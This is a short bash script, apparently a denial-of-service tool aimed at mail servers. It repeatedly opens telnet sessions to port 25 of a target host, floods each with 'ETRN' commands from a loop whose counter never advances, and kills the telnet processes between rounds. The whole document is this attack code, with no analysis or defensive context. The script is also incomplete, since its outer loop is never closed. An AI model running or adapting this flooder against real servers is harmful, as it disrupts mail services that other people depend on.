#!/usr/local/bin/bash

TARGET=localhost
COUNT=150
SLEEP=1

echo -n "Tiki:"

while :; do
 echo -n "."
 (
   NIC=0
   while [ "$NIC" -lt "$COUNT" ]; do
    echo "ETRN x"
   done
 ) | telnet $TARGET 25 &>/dev/null &
 sleep $SLEEP
 killall -9 telnet &>/dev/null